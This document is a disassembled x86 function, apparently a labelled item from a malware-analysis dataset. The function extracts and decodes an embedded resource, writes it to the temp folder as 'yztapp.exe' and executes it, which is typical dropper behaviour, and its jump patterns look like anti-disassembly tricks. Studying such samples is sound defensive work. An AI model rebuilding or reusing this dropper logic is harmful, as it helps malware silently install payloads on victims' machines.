Function at 0x40439c
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x498
add byte [eax], al
push ebx
push esi
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x284], eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x284], eax
push 0x2348
push 0x68
mov eax, dword [ebp - 0x284]
push eax
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov dword [ebp - 0x234], eax
cmp dword [ebp - 0x234], 0
jne 0x4043ee
xor eax, eax
jmp 0x404663
mov ecx, dword [ebp - 0x234]
push ecx
mov edx, dword [ebp - 0x284]
push edx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
jne 0x404412
xor eax, eax
jmp 0x404663
je 0x404417
jne 0x404417
jmp 0x4043a3
mov eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
jne 0x404431
xor eax, eax
jmp 0x404663
mov ecx, dword [ebp - 0x234]
push ecx
mov edx, dword [ebp - 0x284]
push edx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x24]
push eax
call fcn.004095a0
add esp, 4
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x18]
push ecx
call fcn.0040a60c
add esp, 4
mov dword [ebp - 0x490], eax
mov edx, dword [ebp - 0x490]
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [ebp - 0x1c]
push ecx
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 0x24]
push eax
call fcn.00409520
add esp, 0x10
mov dword [ebp - 0x14], eax
lea ecx, [ebp - 0x48c]
push ecx
push 0x200
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea edx, [ebp - 0x48c]
push edx
call fcn.0040a7a0
add esp, 4
mov dword [ebp - 0x27c], eax
mov eax, dword [ebp - 0x27c]
movsx ecx, byte [ebp + eax - 0x48d]
cmp ecx, 0x5c
je 0x4044d9
push 0x417770
lea edx, [ebp - 0x48c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push str.yztapp.exe
lea eax, [ebp - 0x48c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov ecx, dword [ebp - 0x1c]
push ecx
call fcn.00404377
add esp, 4
push 0
push 0
push 2
push 0
push 0
push 0xc0000000
lea edx, [ebp - 0x48c]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x280], eax
cmp dword [ebp - 0x280], 0xffffffff
jne 0x404556
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x494], eax
mov ecx, dword [ebp - 0x494]
push ecx
call fcn.0040a601
add esp, 4
lea edx, [ebp - 0x48c]
push edx
call fcn.00404320
add esp, 4
test eax, eax
jne 0x404554
xor eax, eax
jmp 0x404663
jmp 0x4045a1
push 0
lea eax, [ebp - 0x20]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 0x1c]
push edx
mov eax, dword [ebp - 0x280]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x40457c
xor eax, eax
jmp 0x404663
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x498], ecx
mov edx, dword [ebp - 0x498]
push edx
call fcn.0040a601
add esp, 4
mov eax, dword [ebp - 0x280]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x104
lea ecx, [ebp - 0x230]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call sub.PSAPI.DLL_GetModuleFileNameExA
push 0x417780
lea edx, [ebp - 0x48c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x230]
push eax
lea ecx, [ebp - 0x48c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x417784
lea edx, [ebp - 0x48c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x44
push 0
lea eax, [ebp - 0x278]
push eax
call fcn.0040a620
add esp, 0xc
mov dword [ebp - 0x278], 0x44
push 0x10
push 0
lea ecx, [ebp - 0x10]
push ecx
call fcn.0040a620
add esp, 0xc
mov word [ebp - 0x248], 5
lea edx, [ebp - 0x10]
push edx
lea eax, [ebp - 0x278]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x48c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x40465e
xor eax, eax
jmp 0x404663
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret